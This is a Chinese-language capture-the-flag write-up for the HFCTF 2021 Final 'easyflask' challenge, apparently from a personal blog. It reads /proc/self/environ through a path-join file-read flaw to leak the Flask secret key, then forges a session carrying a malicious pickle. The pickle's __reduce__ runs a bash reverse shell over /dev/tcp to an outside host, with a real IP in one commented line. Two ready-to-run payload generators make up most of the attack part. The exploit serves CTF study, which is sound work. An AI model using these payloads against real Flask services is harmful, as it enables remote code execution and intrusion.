[HFCTF 2021 Final]easyflask

[HFCTF 2021 Final]easyflask

根据提示访问/file?file=index.js之后再访问/file?file=/app/source得到源码:

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

代码的逻辑很明朗了,/admin 路由存在反序列化漏洞,可以获取 Flask Session 中的某个键的值进行 pickle 反序列化,由于这里被反序列化的值是可控的,所以存在 pickle 反序列化漏洞。但是要利用 pickle 反序列化漏洞我们还需要先获取 secret_key 来伪造 Session。

利用Python任意文件读取

在Python中,os.path.join()遇到两个都是同级目录的时候,只会返回后一个目录,因此直接读取 /proc/self/environ 目录查看 secret_key:

?file=/proc/self/environ

得到 secret_key:

glzjin22948575858jfjfjufirijidjitg3uiiuuh

伪造session

关注admin 路由:

@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'

从session中取u字段,u字段是个dict类型,然后取u字段中的b。

根据上面的逻辑,构造pickle反序列化的session:

特别提醒:下述所有操作请在Linux系统上执行!!否则打不通

  • 可以在源码上进行修改,然后访问页面读其session
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

# User = type('User', (object,), {
#     'uname': 'test',
#     'is_admin': 0,
#     '__repr__': lambda o: o.uname,
#     # '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/81.71.121.131/2333 0>&1'",))
#
# })

class User():
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'"
        return (os.system,(cmd,))

@app.route('/', methods=('GET',))
def index_handler():
    # if not session.get('u'):
    #     u = pickle.dumps(User())
    #     session['u'] = u
    session['u'] = {'b': b64encode(pickle.dumps(User()))}
    return "/file?file=index.js"

然后让问本地的页面复制session到题目的/admin路由中的session里面即可反弹shell。

  • 单独一个文件
import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))

})
u = pickle.dumps(User())
print(b64encode(u).decode())

参考资料

[HFCTF 2021 Final]easyflask

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇